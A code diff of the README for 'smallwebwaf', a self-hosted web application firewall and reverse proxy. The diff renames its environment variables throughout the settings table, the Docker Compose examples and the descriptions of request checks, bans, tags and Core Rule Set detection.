| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||||
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||||
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||||
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||||
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||||
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||||
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||||
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||||
|
|
||||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||||
full, and the limits that are fixed rather than settings.
|
full, and the limits that are fixed rather than settings.
|
||||||
@@ -365,8 +362,8 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -401,8 +398,8 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -411,22 +408,22 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: waf
|
||||||
# Monitoring skips every check.
|
# Monitoring skips every check.
|
||||||
SWW_WAF_ALLOW_NETS: 192.0.2.10
|
SWW_ALLOW_NETS: 192.0.2.10
|
||||||
# The office and the automation host are never rate limited.
|
# The office and the automation host are never rate limited.
|
||||||
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||||
# A netblock that sends nothing wanted.
|
# A netblock that sends nothing wanted.
|
||||||
SWW_WAF_DENY_NETS: 198.51.100.128/25
|
SWW_DENY_NETS: 198.51.100.128/25
|
||||||
# Tighter limits for everyone else: a small static site.
|
# Tighter limits for everyone else: a small static site.
|
||||||
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
|
SWW_RATE_LIMIT_PER_MINUTE: "60"
|
||||||
SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
|
SWW_RATE_LIMIT_PER_HOUR: "600"
|
||||||
SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
|
SWW_RATE_LIMIT_PER_DAY: "3000"
|
||||||
# Hosting networks and one country get a share of those limits.
|
# Hosting networks and one country get a share of those limits.
|
||||||
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||||
# Paths only scanners ask for; one request bans the client.
|
# Paths only scanners ask for; one request bans the client.
|
||||||
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||||
# Answer a refused client with 429 rather than 403.
|
# Answer a refused client with 429 rather than 403.
|
||||||
SWW_WAF_BAN_RESPONSE: "429"
|
SWW_BAN_RESPONSE: "429"
|
||||||
SWW_WAF_LIMIT_BAN_DURATION: 30m
|
SWW_LIMIT_BAN_DURATION: 30m
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
|
|
||||||
@@ -452,9 +449,9 @@ services:
|
|||||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||||
build: ./app
|
build: ./app
|
||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
# Answer 503 rather than pass a request on while waf is down.
|
# Answer 503 rather than pass a request on while waf is down.
|
||||||
SWW_RPROXY_DEFAULT_DISPOSITION: deny
|
SWRP_DEFAULT_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -462,16 +459,16 @@ services:
|
|||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: waf
|
||||||
SWW_WAF_INSTANCE_NAME: fsn1/waf
|
SWW_INSTANCE_NAME: fsn1/waf
|
||||||
# Refuse nothing yet; log what enforce mode would have done.
|
# Refuse nothing yet; log what enforce mode would have done.
|
||||||
SWW_WAF_MODE: observe
|
SWW_MODE: observe
|
||||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||||
SWW_WAF_LOOKUP_SOURCE: file
|
SWW_LOOKUP_SOURCE: file
|
||||||
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||||
# Alerts to an ntfy topic, with its token read from a file.
|
# Alerts to an ntfy topic, with its token read from a file.
|
||||||
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||||
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||||
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||||
@@ -508,19 +505,19 @@ request reaches the app.
|
|||||||
|
|
||||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||||
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the
|
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
|
||||||
visitor sent it, with the first 64 KiB of its body.
|
sent it, with the first 64 KiB of its body.
|
||||||
|
|
||||||
`waf` takes the checks:
|
`waf` takes the checks:
|
||||||
|
|
||||||
3. The header limits, then the tag lists. A client in `SWW_WAF_ALLOW_NETS` skips
|
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
||||||
the header limits.
|
header limits.
|
||||||
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
|
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
7. The country list.
|
7. The country list.
|
||||||
8. The reputation sources.
|
8. The reputation sources.
|
||||||
9. The tag refusals of `SWW_WAF_TAG_DENY`.
|
9. The tag refusals of `SWW_TAG_DENY`.
|
||||||
10. The client's limit percentage, from its tags, its AS number, its country or
|
10. The client's limit percentage, from its tags, its AS number, its country or
|
||||||
a reputation hit.
|
a reputation hit.
|
||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
@@ -536,23 +533,23 @@ request reaches the app.
|
|||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||||
bytes each way. For an allowed request, `waf` counts the bytes
|
bytes each way. For an allowed request, `waf` counts the bytes
|
||||||
`SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
|
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
|
||||||
take it past one, and adds the request to the client's history.
|
it past one, and adds the request to the client's history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||||
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
|
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||||
instead. A request over the header limits of step 3 is answered `431`, and bans
|
request over the header limits of step 3 is answered `431`, and bans nobody
|
||||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||||
and the status for a size or time limit, such as `413` for a body too large.
|
status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
### Clients and bans
|
### Clients and bans
|
||||||
|
|
||||||
- A client is one IPv4 address or one IPv6 netblock of
|
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
|
||||||
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
since one abuser usually controls a whole /64.
|
||||||
- Each limit is counted over a sliding window with a few integers per client.
|
- Each limit is counted over a sliding window with a few integers per client.
|
||||||
The table of clients and the table of bans each have a bound
|
The table of clients and the table of bans each have a bound
|
||||||
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
|
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
|
||||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||||
lifts it.
|
lifts it.
|
||||||
@@ -567,23 +564,23 @@ Each request gets tags from what `waf` knows of its client, written in the
|
|||||||
`tags` field of its log line:
|
`tags` field of its log line:
|
||||||
|
|
||||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||||
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||||
`torexit` or `vpn=mullvad`;
|
or `vpn=mullvad`;
|
||||||
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||||
the client;
|
the client;
|
||||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||||
`SWW_WAF_ROUTEWATCH_URL` is set.
|
`SWW_ROUTEWATCH_URL` is set.
|
||||||
|
|
||||||
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
|
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
|
||||||
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||||
|
|
||||||
### Attack detection
|
### Attack detection
|
||||||
|
|
||||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||||
headers of every request, and no body unless
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
carry what people write and publish, which the rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
|
||||||
requests get through to the apps listed below. No setting undoes the changes;
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
@@ -615,8 +612,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- deleting the account, on gitea;
|
- deleting the account, on gitea;
|
||||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||||
password, not the password itself.
|
password, not the password itself.
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
own fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
while `waf` runs. The image ships one file of probes no real visitor sends
|
while `waf` runs. The image ships one file of probes no real visitor sends
|
||||||
(see [`docs/rules.md`](docs/rules.md)).
|
(see [`docs/rules.md`](docs/rules.md)).
|
||||||
@@ -625,12 +622,12 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
|
|
||||||
`waf` keeps everything in memory, and JSON files hold a copy:
|
`waf` keeps everything in memory, and JSON files hold a copy:
|
||||||
|
|
||||||
- The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again:
|
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
||||||
- `bans.json`;
|
- `bans.json`;
|
||||||
- `clients.json`;
|
- `clients.json`;
|
||||||
- `abuseipdb-checks-spent.json`;
|
- `abuseipdb-checks-spent.json`;
|
||||||
- `alerts.json`.
|
- `alerts.json`.
|
||||||
- The cache files, in `SWW_WAF_CACHE_DIR`, hold answers from outside services:
|
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
||||||
- `lookups.json`, from GeoJS;
|
- `lookups.json`, from GeoJS;
|
||||||
- `lists.json`, the lists fetched by URL;
|
- `lists.json`, the lists fetched by URL;
|
||||||
- `dnsbl.json`, from the DNS blocklists;
|
- `dnsbl.json`, from the DNS blocklists;
|
||||||
@@ -714,7 +711,8 @@ on the host.
|
|||||||
- `script/bootstrap`: installs on the host what the other scripts need, with
|
- `script/bootstrap`: installs on the host what the other scripts need, with
|
||||||
`make bootstrap`:
|
`make bootstrap`:
|
||||||
- `make`, `git` and `curl`;
|
- `make`, `git` and `curl`;
|
||||||
- Go, for `gofmt`;
|
